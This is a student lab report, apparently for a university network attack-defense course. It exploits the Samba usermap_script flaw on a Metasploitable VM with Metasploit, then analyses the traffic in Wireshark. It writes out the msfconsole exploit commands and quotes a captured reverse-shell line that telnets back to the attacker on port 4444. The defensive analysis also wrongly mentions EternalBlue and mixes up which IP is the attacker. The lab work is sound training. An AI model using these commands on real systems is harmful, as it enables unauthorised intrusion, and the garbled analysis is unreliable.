20242938 2024-2025-2 《网络攻防实践》 第七周作业
实践内容
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
实践步骤
使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
准备工作,使用到的虚拟机如下表:
| 镜像名称 | 镜像类型 | IP地址 |
|---|---|---|
| Kali_linux_attacker | Liunx攻击机 | 192.168.200.4 |
| Metasploitable_ubuntu_target | Linux靶机 | 192.168.200.123 |
测试连通性,没问题


在命令行中输入msfconsole,然后输入以下命令,进行攻击
use exploit/multi/samba/usermap_script
set payload payload/cmd/unix/reverse
set LHOST 192.168.200.4
set RHOST 192.168.200.123
exploit

现在已经获得了一个 命令 shell 会话(Session 1),连接到了目标机器 (192.168.200.123)。
输入shell 得到一个 /bin/sh 或 /bin/bash 的 Shell。

输入ifconfig获得目标机器IP信息

输入whoami查看当前用户

攻防对抗实践
攻击方:
重复任务一步骤攻击目标靶机并在usr/目录下新建文件nihao.txt。


防守方:
首先打开wireshark对攻击进行监听
可以观察到,流量包中大部分内容都是192.168.200.4和192.168.200.123之间的互动,所以我们可以在过滤器中输入ip.addr==192.168.200.123 && ip.addr==192.168.200.4对流量包进行初步过滤。

攻击者的 IP 通常是请求的源 IP,目标 IP 是目标服务器的地址。所以攻击者ip:192.168.200.4,目标ip:192.168.200.123
攻击时间:Arrival Time: Apr 13, 2025 09:09:13.717505137 EDT

从这包信息来看,攻击者正在尝试连接到目标主机 192.168.200.4 的 4444 端口。这通常是反向 shell 服务的默认端口(例如,Metasploit 使用的端口)。exploit/multi/samba/usermap_script 模块通常针对 Samba 服务,Samba 主要使用 TCP 端口 445 和 139。


随便点一个follow TCP流

可以得知攻击者利用 SMB 协议和命令注入,尝试在受害系统上执行远程命令,并通过 telnet 反向连接到攻击者主机,进一步控制目标系统。这种攻击通常是远程命令执行(RCE)攻击的一部分,攻击者可能已经利用了 SMB 协议中的漏洞(如永恒之蓝)进行渗透。
nohup sh -c '(sleep 4259|telnet 192.168.200.4 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.4 4444 >/dev/null 2>&1 &)'
继续跟踪tcp流可以看到攻击者的相关操作。


攻击者成功在 /usr/dhn 目录下创建了文件 nihao.txt。
问题总结及心得
- 本次试验差不多是对上次实验的巩固,有时Metasploit的攻击模块可能无法完全成功利用漏洞,可能是由于靶机没有开放正确的端口或目标系统的配置有所不同。可以通过检查模块的日志信息来排查问题。如果选择的payload不合适(如目标系统阻止了特定类型的反向连接),渗透攻击可能会失败。
- 通过实验,深入理解了Metasploit模块的工作原理,如何根据靶机的操作系统、服务以及漏洞来选择合适的exploit和payload。
- 攻防对抗实践帮助理解了攻击者与防御者的角色变化。在实际渗透测试中,防御方需要通过流量分析、异常检测等方式识别攻击,并采取应对措施。
浙公网安备 33010602011771号